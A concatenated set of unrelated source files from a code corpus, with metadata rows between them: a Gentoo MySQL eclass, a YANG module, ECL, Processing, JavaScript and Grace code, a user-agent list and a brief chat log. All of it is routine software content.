# --initialize-insecure will not set root password
# --initialize would set a random one in the log which we don't need as we set it ourselves
cmd=( "${EROOT}usr/sbin/mysqld" )
initialize_options="--initialize-insecure --init-file='${sqltmp}'"
sqltmp="" # the initialize will take care of it
else
cmd=( "${EROOT}usr/share/mysql/scripts/mysql_install_db" )
[[ -f "${cmd}" ]] || cmd=( "${EROOT}usr/bin/mysql_install_db" )
if [[ -r "${help_tables}" ]] ; then
cat "${help_tables}" >> "${sqltmp}"
fi
fi
cmd+=( "--basedir=${EPREFIX}/usr" ${options} "--datadir=${ROOT}/${MY_DATADIR}" "--tmpdir=${ROOT}/${MYSQL_TMPDIR}" ${initialize_options} )
einfo "Command: ${cmd[*]}"
su -s /bin/sh -c "${cmd[*]}" mysql \
>"${TMPDIR}"/mysql_install_db.log 2>&1
if [ $? -ne 0 ]; then
grep -B5 -A999 -i "ERROR" "${TMPDIR}"/mysql_install_db.log 1>&2
die "Failed to initialize mysqld. Please review ${EPREFIX}/var/log/mysql/mysqld.err AND ${TMPDIR}/mysql_install_db.log"
fi
popd &>/dev/null || die
[[ -f "${ROOT}/${MY_DATADIR}/mysql/user.frm" ]] \
|| die "MySQL databases not installed"
local socket="${EROOT}/var/run/mysqld/mysqld${RANDOM}.sock"
local pidfile="${EROOT}/var/run/mysqld/mysqld${RANDOM}.pid"
local mysqld="${EROOT}/usr/sbin/mysqld \
${options} \
$(use prefix || echo --user=mysql) \
--log-warnings=0 \
--basedir=${EROOT}/usr \
--datadir=${ROOT}/${MY_DATADIR} \
--max_allowed_packet=8M \
--net_buffer_length=16K \
--default-storage-engine=MyISAM \
--socket=${socket} \
--pid-file=${pidfile}
--tmpdir=${ROOT}/${MYSQL_TMPDIR}"
#einfo "About to start mysqld: ${mysqld}"
ebegin "Starting mysqld"
einfo "Command ${mysqld}"
${mysqld} &
rc=$?
while ! [[ -S "${socket}" || "${maxtry}" -lt 1 ]] ; do
maxtry=$((${maxtry}-1))
echo -n "."
sleep 1
done
eend $rc
if ! [[ -S "${socket}" ]]; then
die "Completely failed to start up mysqld with: ${mysqld}"
fi
ebegin "Setting root password"
# Do this from memory, as we don't want clear text passwords in temp files
local sql="UPDATE mysql.user SET Password = PASSWORD('${MYSQL_ROOT_PASSWORD}') WHERE USER='root'; FLUSH PRIVILEGES"
"${EROOT}/usr/bin/mysql" \
--socket=${socket} \
-hlocalhost \
-e "${sql}"
eend $?
if [[ -n "${sqltmp}" ]] ; then
ebegin "Loading \"zoneinfo\", this step may require a few seconds"
"${EROOT}/usr/bin/mysql" \
--socket=${socket} \
-hlocalhost \
-uroot \
--password="${MYSQL_ROOT_PASSWORD}" \
mysql < "${sqltmp}"
rc=$?
eend $?
[[ $rc -ne 0 ]] && ewarn "Failed to load zoneinfo!"
fi
# Stop the server and cleanup
einfo "Stopping the server ..."
kill $(< "${pidfile}" )
rm -f "${sqltmp}"
wait %1
einfo "Done"
}
#
# HELPER FUNCTIONS:
#
# @FUNCTION: mysql-multilib-r1_disable_test
# @DESCRIPTION:
# Helper function to disable specific tests.
mysql-multilib-r1_disable_test() {
local rawtestname testname testsuite reason mysql_disabled_file mysql_disabled_dir
rawtestname="${1}" ; shift
reason="${@}"
ewarn "test '${rawtestname}' disabled: '${reason}'"
testsuite="${rawtestname/.*}"
testname="${rawtestname/*.}"
for mysql_disabled_file in \
${S}/mysql-test/disabled.def \
${S}/mysql-test/t/disabled.def ; do
[[ -f ${mysql_disabled_file} ]] && break
done
#mysql_disabled_file="${S}/mysql-test/t/disabled.def"
#einfo "rawtestname=${rawtestname} testname=${testname} testsuite=${testsuite}"
echo ${testname} : ${reason} >> "${mysql_disabled_file}"
if [[ ( -n ${testsuite} ) && ( ${testsuite} != "main" ) ]]; then
for mysql_disabled_file in \
${S}/mysql-test/suite/${testsuite}/disabled.def \
${S}/mysql-test/suite/${testsuite}/t/disabled.def \
FAILED ; do
[[ -f ${mysql_disabled_file} ]] && break
done
if [[ ${mysql_disabled_file} != "FAILED" ]]; then
echo "${testname} : ${reason}" >> "${mysql_disabled_file}"
else
for mysql_disabled_dir in \
${S}/mysql-test/suite/${testsuite} \
${S}/mysql-test/suite/${testsuite}/t \
FAILED ; do
[[ -d ${mysql_disabled_dir} ]] && break
done
if [[ ${mysql_disabled_dir} != "FAILED" ]]; then
echo "${testname} : ${reason}" >> "${mysql_disabled_dir}/disabled.def"
else
ewarn "Could not find testsuite disabled.def location for ${rawtestname}"
fi
fi
fi
}
# @FUNCTION: mysql-cmake_use_plugin
# @DESCRIPTION:
# Helper function to enable/disable plugins by use flags
# cmake-utils_use_with is not enough as some references check WITH_ (0|1)
# and some check WITHOUT_. Also, this can easily extend to non-storage plugins.
mysql-cmake_use_plugin() {
[[ -z $2 ]] && die "mysql-cmake_use_plugin <USE flag> <flag name>"
if in_iuse $1 && use $1 ; then
echo "-DWITH_$2=1 -DPLUGIN_$2=YES"
else
echo "-DWITHOUT_$2=1 -DWITH_$2=0 -DPLUGIN_$2=NO"
fi
}
# @FUNCTION: mysql_init_vars
# @DESCRIPTION:
# void mysql_init_vars()
# Initialize global variables
# 2005-11-19 <vivo@gentoo.org>
if [[ "${EAPI}x" != "5x" ]]; then
mysql_init_vars() {
MY_SHAREDSTATEDIR=${MY_SHAREDSTATEDIR="${EPREFIX}/usr/share/mysql"}
MY_SYSCONFDIR=${MY_SYSCONFDIR="${EPREFIX}/etc/mysql"}
MY_LOCALSTATEDIR=${MY_LOCALSTATEDIR="${EPREFIX}/var/lib/mysql"}
MY_LOGDIR=${MY_LOGDIR="${EPREFIX}/var/log/mysql"}
MY_INCLUDEDIR=${MY_INCLUDEDIR="${EPREFIX}/usr/include/mysql"}
MY_LIBDIR=${MY_LIBDIR="${EPREFIX}/usr/$(get_libdir)/mysql"}
if [[ -z "${MY_DATADIR}" ]] ; then
MY_DATADIR=""
if [[ -f "${MY_SYSCONFDIR}/my.cnf" ]] ; then
MY_DATADIR=`"my_print_defaults" mysqld 2>/dev/null \
| sed -ne '/datadir/s|^--datadir=||p' \
| tail -n1`
if [[ -z "${MY_DATADIR}" ]] ; then
MY_DATADIR=`grep ^datadir "${MY_SYSCONFDIR}/my.cnf" \
| sed -e 's/.*=\s*//' \
| tail -n1`
fi
fi
if [[ -z "${MY_DATADIR}" ]] ; then
MY_DATADIR="${MY_LOCALSTATEDIR}"
einfo "Using default MY_DATADIR"
fi
elog "MySQL MY_DATADIR is ${MY_DATADIR}"
if [[ -z "${PREVIOUS_DATADIR}" ]] ; then
if [[ -e "${MY_DATADIR}" ]] ; then
# If you get this and you're wondering about it, see bug #207636
elog "MySQL datadir found in ${MY_DATADIR}"
elog "A new one will not be created."
PREVIOUS_DATADIR="yes"
else
PREVIOUS_DATADIR="no"
fi
export PREVIOUS_DATADIR
fi
else
if [[ ${EBUILD_PHASE} == "config" ]]; then
local new_MY_DATADIR
new_MY_DATADIR=`"my_print_defaults" mysqld 2>/dev/null \
| sed -ne '/datadir/s|^--datadir=||p' \
| tail -n1`
if [[ ( -n "${new_MY_DATADIR}" ) && ( "${new_MY_DATADIR}" != "${MY_DATADIR}" ) ]]; then
ewarn "MySQL MY_DATADIR has changed"
ewarn "from ${MY_DATADIR}"
ewarn "to ${new_MY_DATADIR}"
MY_DATADIR="${new_MY_DATADIR}"
fi
fi
fi
if [ "${MY_SOURCEDIR:-unset}" == "unset" ]; then
MY_SOURCEDIR=${SERVER_URI##*/}
MY_SOURCEDIR=${MY_SOURCEDIR%.tar*}
fi
export MY_SHAREDSTATEDIR MY_SYSCONFDIR
export MY_LIBDIR MY_LOCALSTATEDIR MY_LOGDIR
export MY_INCLUDEDIR MY_DATADIR MY_SOURCEDIR
}
fi
| Gentoo Eclass | 5 | NighttimeDriver50000/Sabayon-Packages | local_overlay/eclass/mysql-multilib-r1.eclass | [
"MIT"
] |
module org-openroadm-fwdl {
namespace "http://org/openroadm/fwdl";
prefix org-openroadm-fwdl;
import org-openroadm-common-types {
prefix org-openroadm-common-types;
}
organization "Open ROADM MSA";
contact
"OpenROADM.org";
description
"This module contains definitions for System Management.
Copyright of the Members of the Open ROADM MSA Agreement dated (c) 2016,
AT&T Intellectual Property. All other rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
* Neither the Members of the Open ROADM MSA Agreement nor the names of its
contributors may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT ''AS IS''
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.";
revision 2016-10-14 {
description
"Version 1.2";
}
rpc fw-update {
description
"Fpga data update";
input {
leaf circuit-pack-name {
type string;
description
"Name of the circuit pack";
}
}
output {
uses org-openroadm-common-types:rpc-response-status;
}
}
}
| YANG | 4 | ariscahyadi/onos-1.14-with-indopronos-app | models/openroadm/src/main/yang/org-openroadm-fwdl@2016-10-14.yang | [
"Apache-2.0"
] |
/*##############################################################################
HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems®.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
############################################################################## */
inRecord :=
RECORD
unsigned box;
string text{maxlength(10)};
END;
inTable := dataset([
{1, 'Shoe'},
{1, 'Feather'},
{1, 'Cymbal'},
{1, 'Train'},
{2, 'Envelope'},
{2, 'Pen'},
{2, 'Jumper'},
{3, 'Dinosoaur'},
{3, 'Dish'}
], inRecord);
itemRecord := RECORD
string text{maxlength(10)};
END;
outRecord := RECORD
unsigned box;
dataset(itemRecord) items;
END;
//Need to make sure items isn't released since not assigned in the record.
outRecord t1(inRecord l, outRecord r) := TRANSFORM
SELF.box := l.box;
SELF.items := row(TRANSFORM(itemRecord, SELF.text := l.text));
END;
groupedByBox := group(inTable, box);
output(AGGREGATE(groupedByBox, outRecord, t1(LEFT, RIGHT)));
| ECL | 4 | miguelvazq/HPCC-Platform | ecl/regress/aggregate7.ecl | [
"Apache-2.0"
] |
// Daniel Shiffman
// http://codingtra.in
// http://patreon.com/codingtrain
// Code for: https://youtu.be/CKeyIbT3vXI
import peasy.*;
ArrayList<Firework> fireworks;
PVector gravity = new PVector(0, 0.2);
PeasyCam cam;
void setup() {
fullScreen(P3D);
//size(800, 600, P3D);
//cam = new PeasyCam(this, 1500);
fireworks = new ArrayList<Firework>();
colorMode(HSB);
background(0);
}
void draw() {
if (random(1) < 0.2) {
fireworks.add(new Firework());
}
background(0);
translate(width/2, height, -1000);
rotateY(frameCount*0.003);
// Floor
stroke(255);
strokeWeight(1);
fill(51);
beginShape();
vertex(-width, height/2, -800);
vertex(width, height/2, -800);
vertex(width, height/2, 800);
vertex(-width, height/2, 800);
endShape(CLOSE);
for (int i = fireworks.size()-1; i >= 0; i--) {
Firework f = fireworks.get(i);
f.run();
if (f.done()) {
fireworks.remove(i);
}
}
} | Processing | 4 | aerinkayne/website | CodingChallenges/CC_027_FireWorks/Processing/CC_027_FireWorks_3D/CC_027_FireWorks_3D.pde | [
"MIT"
] |
module.exports = function computeSearchTitleProcessor() {
return {
$runAfter: ['ids-computed'],
$runBefore: ['generateKeywordsProcessor'],
$process(docs) {
docs.forEach(doc => {
switch(doc.docType) {
case 'function':
doc.searchTitle = `${doc.name}()`;
break;
case 'package':
doc.searchTitle = `${doc.id} package`;
break;
}
});
}
};
};
| JavaScript | 4 | coreyscherbing/angular | aio/tools/transforms/angular-api-package/processors/computeSearchTitle.js | [
"MIT"
] |
sleep 1
t ia2 -ae on
| AGS Script | 0 | waltersgrey/autoexechack | AE-Video/HERO3Black/autoexec.ash | [
"MIT"
] |
/* eslint-env jest */
import { join } from 'path'
import {
findPort,
killApp,
launchApp,
nextBuild,
nextStart,
} from 'next-test-utils'
import webdriver from 'next-webdriver'
const appDir = join(__dirname, '../')
let appPort
let app
const runTests = () => {
it('should navigate to a simple rewrite without error', async () => {
const browser = await webdriver(appPort, '/')
await browser.eval('window.beforeNav = 1')
await browser
.elementByCss('#to-simple')
.click()
.waitForElementByCss('#another')
expect(await browser.elementByCss('#pathname').text()).toBe('/another')
expect(JSON.parse(await browser.elementByCss('#query').text())).toEqual({})
expect(await browser.eval('window.beforeNav')).toBe(1)
})
it('should navigate to a has rewrite without error', async () => {
const browser = await webdriver(appPort, '/')
await browser.eval('window.beforeNav = 1')
await browser
.elementByCss('#to-has-rewrite')
.click()
.waitForElementByCss('#another')
expect(await browser.elementByCss('#pathname').text()).toBe('/another')
expect(JSON.parse(await browser.elementByCss('#query').text())).toEqual({
hasQuery: 'true',
})
expect(await browser.eval('window.beforeNav')).toBe(1)
})
}
describe('rewrites has condition', () => {
describe('dev mode', () => {
beforeAll(async () => {
appPort = await findPort()
app = await launchApp(appDir, appPort)
})
afterAll(() => killApp(app))
runTests()
})
describe('production mode', () => {
beforeAll(async () => {
await nextBuild(appDir)
appPort = await findPort()
app = await nextStart(appDir, appPort)
})
afterAll(() => killApp(app))
runTests()
})
})
| JavaScript | 4 | blomqma/next.js | test/integration/rewrites-has-condition/test/index.test.js | [
"MIT"
] |
#pragma ExtendedLineups
import "errormessages" as errormessages
import "ast" as ast
inherits prelude.methods
// Checker error
def CheckerFailure is public = Exception.refine "CheckerFailure"
// Helper Map
class entryFrom(key') to(value') is confidential {
def key is public = key'
var value is public := value'
}
class aMutableMap {
def entries = []
method isEmpty -> Boolean { size == 0 }
method size -> Number { entries.size }
method at(key) {
atKey(key) do { value -> return value }
NoSuchObject.raise "no key {key} in aMutableMap"
}
method at(key) put(value) -> Done {
for(entries) do { entry ->
if(entry.key == key) then {
entry.value := value
return done
}
}
entries.push(entryFrom(key) to(value))
}
method keys -> List {
def keys' = []
for(entries) do { entry ->
keys'.push(entry.key)
}
return keys'
}
method values -> List {
def values' = []
for(entries) do { entry ->
values'.push(entry.value)
}
return values'
}
method containsKey(key) -> Boolean {
atKey(key) do { _ -> return true }
return false
}
method atKey(key) do(block) -> Done {
atKey(key) do(block) else {}
return
}
method atKey(key) do(block) else(block') {
for(entries) do { entry ->
if(entry.key == key) then {
return block.apply(entry.value)
}
}
return block'.apply
}
method asString -> String is override {
if(isEmpty) then {
return "\{\}"
}
var out := "\{"
var once := false
for(entries) do { entry ->
if(once) then {
out := "{out},"
}
out := "{out} {entry.key} => {entry.value}"
once := true
}
return "{out} \}"
}
}
// Rules
// The defined type rules.
def rules = []
// The cached type assignments.
def cache = aMutableMap
// Creates a new type rule.
method rule(block) -> Done {
rules.push(block)
}
// Short fail-with-message
// Will be updated with each node examined
var currentLine := 0
method fail(message) {
CheckerFailure.raise (message) with (object {
def line is public = currentLine
def linePos is public = 1
})
}
method fail(message)at(p) {
CheckerFailure.raise (message) with (p)
}
method fail(message)from(startPos)to(endPos)suggest(sugg) {
def o = object {
def line is public = currentLine
def posStart is public = startPos
def posEnd is public = endPos
def suggestions is public = [sugg]
}
CheckerFailure.raise (message) with (o)
}
method fail(message)from(startPos)to(endPos) {
def o = object {
def line is public = currentLine
def posStart is public = startPos
def posEnd is public = endPos
def suggestions is public = []
}
CheckerFailure.raise (message) with (o)
}
method fail(msg)when(pat) {
rule { x ->
def mat = pat.match(x)
if (mat && {mat.result}) then {
fail(msg)
}
}
}
method createSuggestion {
errormessages.suggestion.new
}
method when(pat)error(msg) {
fail(msg)when(pat)
}
// Scope
class stackOfKind(kind : String) is confidential {
def stack is public = [aMutableMap]
method at(name : String) put(value) -> Done {
stack.last.at(name) put(value)
}
method find(name : String) butIfMissing(bl) {
var i := stack.size
while { i > 0 } do {
stack.at(i).atKey(name) do { value ->
return value
}
i := i - 1
}
return bl.apply
}
}
def scope is public = object {
def variables is public = stackOfKind("variable")
def methods is public = stackOfKind("method")
def types is public = stackOfKind("type")
method size -> Number {
variables.stack.size
}
method enter(bl) {
variables.stack.push(aMutableMap)
methods.stack.push(aMutableMap)
types.stack.push(aMutableMap)
def result = bl.apply
variables.stack.pop
methods.stack.pop
types.stack.pop
return result
}
method asString -> String is override {
"scope<{size}>"
}
}
method checkTypes(node) {
node.accept(astVisitor)
}
method typeOf(node) {
checkTypes(node)
cache.atKey(node) do { value -> return value }
CheckerFailure.raise "cannot type non-expression" with (node)
}
method runRules(node) {
// apply all rules to node; returns the last SuccessfulMatch.
// if there is no successful match, returns FailedMatch(node).
cache.atKey(node) do { value -> return value }
currentLine := node.line
var result := FailedMatch.new(node)
for(rules) do { each ->
def matched = each.match(node)
if(matched) then {
result := matched.result
cache.at(node) put(result)
}
}
return result
}
// Type checker
// Checks the defined rules on the given AST.
method check(nodes) -> Done {
// Runs the check on the module object.
ast.objectNode.new(nodes, false).accept(astVisitor)
}
type AstNode = { kind -> String }
class aPatternMatchingNode(kind : String) -> Pattern {
inherits BasicPattern.new
method match(obj : Object) {
match(obj)
case { node : AstNode ->
if(kind == node.kind) then {
SuccessfulMatch.new(node, [])
} else {
FailedMatch.new(node)
}
} case { _ -> FailedMatch.new(obj) }
}
}
def If is public = aPatternMatchingNode "if"
def BlockLiteral is public = aPatternMatchingNode "block"
def MatchCase is public = aPatternMatchingNode "matchcase"
def TryCatch is public = aPatternMatchingNode "trycatch"
def MethodSignature is public = aPatternMatchingNode "methodtype"
def TypeLiteral is public = aPatternMatchingNode "typeliteral"
def TypeDeclaration is public = aPatternMatchingNode "typedec"
def TypeAnnotation is public = aPatternMatchingNode "dtype"
def Method is public = aPatternMatchingNode "method"
def Parameter is public = aPatternMatchingNode "parameter"
def Request is public = aPatternMatchingNode "call"
def Class is public = aPatternMatchingNode "class"
def ObjectLiteral is public = aPatternMatchingNode "object"
def ArrayLiteral is public = aPatternMatchingNode "array"
def Member is public = aPatternMatchingNode "member"
def Generic is public = aPatternMatchingNode "generic"
def Identifier is public = aPatternMatchingNode "identifier"
def OctetsLiteral is public = aPatternMatchingNode "octets"
def StringLiteral is public = aPatternMatchingNode "string"
def NumberLiteral is public = aPatternMatchingNode "num"
def Operator is public = aPatternMatchingNode "op"
def Bind is public = aPatternMatchingNode "bind"
def Def is public = aPatternMatchingNode "defdec"
def Var is public = aPatternMatchingNode "vardec"
def Import is public = aPatternMatchingNode "import"
def Dialect is public = aPatternMatchingNode "dialect"
def Return is public = aPatternMatchingNode "return"
def Inherits is public = aPatternMatchingNode "inherits"
// Special requests patterns.
class RequestOf(methodName:String) -> Pattern {
inherits prelude.BasicPattern.new
method match(obj : Object) {
match(obj)
case { node : AstNode ->
if((node.kind == "call") && {
node.value.value == methodName
}) then {
SuccessfulMatch.new(node, makeBindings(node))
} else {
FailedMatch.new(node)
}
} case { _ -> FailedMatch.new(obj)
}
}
method makeBindings(node) { [] }
}
def WhileRequest is public = RequestOf "while()do"
def ForRequest is public = RequestOf "for()do"
method whileCond(node) {
// answers the condition expression from node, which must be a
// a callNode calling "while(_)do(_)"
def sig = node.with
sig.first.args.first
}
method whileBody(node) {
// answers the body expression from node, which must be a
// a callNode calling "while(_)do(_)"
def sig = node.with
sig.second.args.first
}
method forCollection(node) {
// answers the collection expression from node, which must be a
// a callNode calling "for(_)do(_)"
def sig = node.with
sig.first.args.first
}
method forBody(node) {
// answers the body expression from node, which must be a
// a callNode calling "for(_)do(_)"
def sig = node.with
sig.second.args.first
}
def astVisitor = object {
inherits ast.baseVisitor
method checkMatch(node) -> Boolean {
runRules(node)
return true
}
method visitIf(node) -> Boolean {
checkMatch(node)
}
method visitBlock(node) -> Boolean {
runRules(node)
for(node.params) do { param ->
runRules(aParameter.fromNode(param))
}
for(node.body) do { stmt ->
stmt.accept(self)
}
return false
}
method visitMatchCase(node) -> Boolean {
checkMatch(node)
}
method visitTryCatch(node) -> Boolean {
checkMatch(node)
}
method visitMethodType(node) -> Boolean {
runRules(node)
for(node.signature) do { part ->
for(part.params) do { param ->
runRules(aParameter.fromNode(param))
}
}
return false
}
method visitType(node) -> Boolean {
checkMatch(node)
}
method visitMethod(node) -> Boolean {
runRules(node)
for(node.signature) do { part ->
for(part.params) do { param ->
runRules(aParameter.fromNode(param))
}
}
for(node.body) do { stmt ->
stmt.accept(self)
}
return false
}
method visitCall(node) -> Boolean {
checkMatch(node)
match(node.value) case { memb : Member ->
memb.in.accept(self)
} case { _ -> }
for(node.with) do { part ->
for(part.args) do { arg ->
arg.accept(self)
}
}
return false
}
method visitObject(node) -> Boolean {
checkMatch(node)
}
method visitArray(node) -> Boolean {
checkMatch(node)
}
method visitMember(node) -> Boolean {
checkMatch(node)
}
method visitGeneric(node) -> Boolean {
checkMatch(node)
}
method visitIdentifier(node) -> Boolean {
checkMatch(node)
}
method visitOctets(node) -> Boolean {
checkMatch(node)
}
method visitString(node) -> Boolean {
checkMatch(node)
}
method visitNum(node) -> Boolean {
checkMatch(node)
}
method visitOp(node) -> Boolean {
checkMatch(node)
}
method visitBind(node) -> Boolean {
checkMatch(node)
}
method visitDefDec(node) -> Boolean {
checkMatch(node)
}
method visitVarDec(node) -> Boolean {
checkMatch(node)
}
method visitImport(node) -> Boolean {
checkMatch(node)
}
method visitReturn(node) -> Boolean {
checkMatch(node)
}
method visitInherits(node) -> Boolean {
checkMatch(node)
}
method visitDialect(node) -> Boolean {
checkMatch(node)
}
}
def aTypeAnnotation is confidential = object {
class fromNode(node) -> TypeAnnotation {
def kind is public = "dtype"
def value is public = node
def line is public = node.line
def linePos is public = node.linePos
}
}
def aParameter is confidential = object {
class fromNode(node) -> Parameter {
def kind is public = "parameter"
def value is public = node.value
def dtype is public = node.dtype
def line is public = node.line
def linePos is public = node.linePos
}
}
| Grace | 4 | Dmitri-2/GraceWebsite | js-simple/sample/dialects/dialect.grace | [
"MIT",
"BSD-3-Clause"
] |
Mozilla/5.0 (Linux; Android 7.0; LG-M470 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; LG-M470 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; LG-M470 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; LG-M470 Build/NRD90U; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/56.0.2924.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; LG-M470 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; LG-M470 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
| Text | 0 | 5tr1x/SecLists | Fuzzing/User-Agents/operating-platform/lg-m470.txt | [
"MIT"
] |
open nat
protected theorem my_add_comm : ∀ (n m : ℕ), n + m = m + n
| n 0 := eq.symm (nat.zero_add n)
| n (m+1) :=
suffices succ (n + m) = succ (m + n), from
eq.symm (succ_add m n) ▸ this,
congr_arg succ (my_add_comm n m)
| Lean | 4 | ericrbg/lean | tests/lean/run/new_elab1.lean | [
"Apache-2.0"
] |
"""Tests for hassfest version."""
import pytest
import voluptuous as vol
from script.hassfest.manifest import (
CUSTOM_INTEGRATION_MANIFEST_SCHEMA,
validate_version,
)
from script.hassfest.model import Integration
@pytest.fixture
def integration():
"""Fixture for hassfest integration model."""
integration = Integration("")
integration.manifest = {
"domain": "test",
"documentation": "https://example.com",
"name": "test",
"codeowners": ["@awesome"],
}
return integration
def test_validate_version_no_key(integration: Integration):
"""Test validate version with no key."""
validate_version(integration)
assert "No 'version' key in the manifest file." in [
x.error for x in integration.errors
]
def test_validate_custom_integration_manifest(integration: Integration):
"""Test validate custom integration manifest."""
with pytest.raises(vol.Invalid):
integration.manifest["version"] = "lorem_ipsum"
CUSTOM_INTEGRATION_MANIFEST_SCHEMA(integration.manifest)
with pytest.raises(vol.Invalid):
integration.manifest["version"] = None
CUSTOM_INTEGRATION_MANIFEST_SCHEMA(integration.manifest)
integration.manifest["version"] = "1"
schema = CUSTOM_INTEGRATION_MANIFEST_SCHEMA(integration.manifest)
assert schema["version"] == "1"
| Python | 5 | MrDelik/core | tests/hassfest/test_version.py | [
"Apache-2.0"
] |
require("./file");
require("./FILE"); | JavaScript | 0 | 1shenxi/webpack | test/fixtures/errors/case-sensitive.js | [
"MIT"
] |
*---------------------------------------------------------------------------------
*
* REFORM 73-sector setup
*
*---------------------------------------------------------------------------------
set ns73 "Investing industries in national accounting definition, 73 sectors" /
01000 " 1 Agriculture and horticulture"
02000 " 2 Forestry"
03000 " 3 Fishing"
0600a " 4a Extration of oil"
0600b " 4b Extraction of gas (incl. coalimport)"
08090 " 4c Extraction of gravel and stone and mining support service activities"
10120 " 5 Manufacture of food products, beverages and tobacco"
13150 " 6 Textiles and leather products"
16000 " 7 Manufacture of wood and wood products"
17000 " 8 Manufacture of paper and paper products"
18000 " 9 Printing etc."
19000 "10 Oil refinery etc."
20000 "11 Manufacture of chemicals"
21000 "12 Pharmaceuticals"
22000 "13 Manufacture of rubber and plastic products"
23000 "14 Manufacture of other non-metallic mineral products"
24000 "15 Manufacture of basic metals"
25000 "16 Manufacture of fabricated metal products"
26000 "17 Manufacture of electronic components"
27000 "18 Electrical equipment"
28000 "19 Manufacture of machinery"
29000 "20 Manufacture of motor vehicles and related parts"
30000 "21 Manufacture of ships and other transport equipment"
31320 "22 Manufacture of furniture and other manufacturing"
33000 "23 Repair and installation of machinery and equipment"
35001 "24a Production and distribution of electricity"
35002 "24b Manufacture and distribution of gas"
35003 "24c Steam and hot water supply"
36000 "25 Water collection, purification and supply"
37390 "26 Sewerage; waste collection, treatment and disposal activities etc."
41430 "27 Construction"
45000 "28 Wholesale and retail trade and repair of motor vehicles and motorcycles"
46000 "29 Wholesale"
47000 "30 Retail sale"
49000 "31 Land transport and transport via pipelines"
50000 "32 Water transport"
51000 "33 Air transport"
52000 "34 Support activities for transportation"
53000 "35 Postal and courier activities"
55560 "36 Accommodation and food service activities"
58000 "37 Publishing activities"
59600 "38 Motion picture and television programme prod., sound recording; radio and televisi"
61000 "39 Telecommunications"
62630 "40 IT and information service activities"
64000 "41 Financial service activities, except insurance and pension funding"
65000 "42 Insurance and pension funding"
66000 "43 Other financial activities"
68100 "44 Buying and selling of real estate"
68300 "45 Renting of non-residential buildings"
68203 "46 Renting of residential buildings"
68204 "47 Owner-occupied dwellings"
69700 "48 Legal and accounting activities; activities of head offices; management consultanc"
71000 "49 Architectural and engineering activities"
72001 "50 Scientific research and development (market)"
72002 "51 Scientific research and development (non-market)"
73000 "52 Advertising and market research"
74750 "53 Other professional, scientific and technical activities; veterinary activities"
77000 "54 Rental and leasing activities"
78000 "55 Employment activities"
79000 "56 Travel agent activities"
80820 "57 Security and investigation; services to buildings and landscape; other businness s"
84202 "58 Public administration etc."
84101 "59 Rescue service etc. (market)"
85202 "60 Education (non-market)"
85101 "61 Education (market)"
86000 "62 Human health activities"
87880 "63 Residential care"
90920 "64 Arts and entertainment; libraries, museums and other cultural activities; gambling"
93000 "65 Sports activities and amusement and recreation activities"
94000 "66 Activities of membership organisations"
95000 "67 Repair of personal goods"
96000 "68 Other personal service activities"
97000 "69 Activities of households as employers of domestic personnel"
/;
set npi5 "Primary inputs in national accounting definition" /
nTp "Commodity taxes, net"
nTv "VAT"
nTo "Other production taxes net (empty at constant or previous year's prices)"
nW "Compensation of employees (empty at constant or previous year's prices)"
nCap "Gross operating surplus and mixed income"
/;
alias(ns73,ns73c);
alias(ns73,ns73r);
set map732five(s,ns73) "Mapping fra 73 til 5 brancher" /
cBol . (68203,68204)
cPub . (72002,84101,84202,85202,86000,87880,90920)
CCON . (41430)
cVar . (19000,
35001,35002,35003,36000,
01000,02000,03000,
0600a,0600b,08090,
10120,
13150,16000,17000,18000,20000,21000,22000,23000,
24000,25000,26000,27000,28000,29000,30000,31320,33000)
cTje . (50000,
64000,65000,66000,
37390,45000,47000,49000,52000,55560,59600,68100,
68300,69700,71000,72001,73000,74750,77000,78000,
85101,93000,94000,95000,96000,97000,
46000,51000,53000,58000,61000,62630,79000,80820)
/;
| GAMS | 4 | gemal/MAKRO | Model/Sets/REFORM.Sets.gms | [
"MIT"
] |
2016-03-15 10:32:17 fsociety logged on are we this wonderful morning ;)
2016-03-15 10:34:26 sedman morning
2016-03-15 10:34:56 sedman yes, I have an interview this afternoon, getting my washing done ATM.
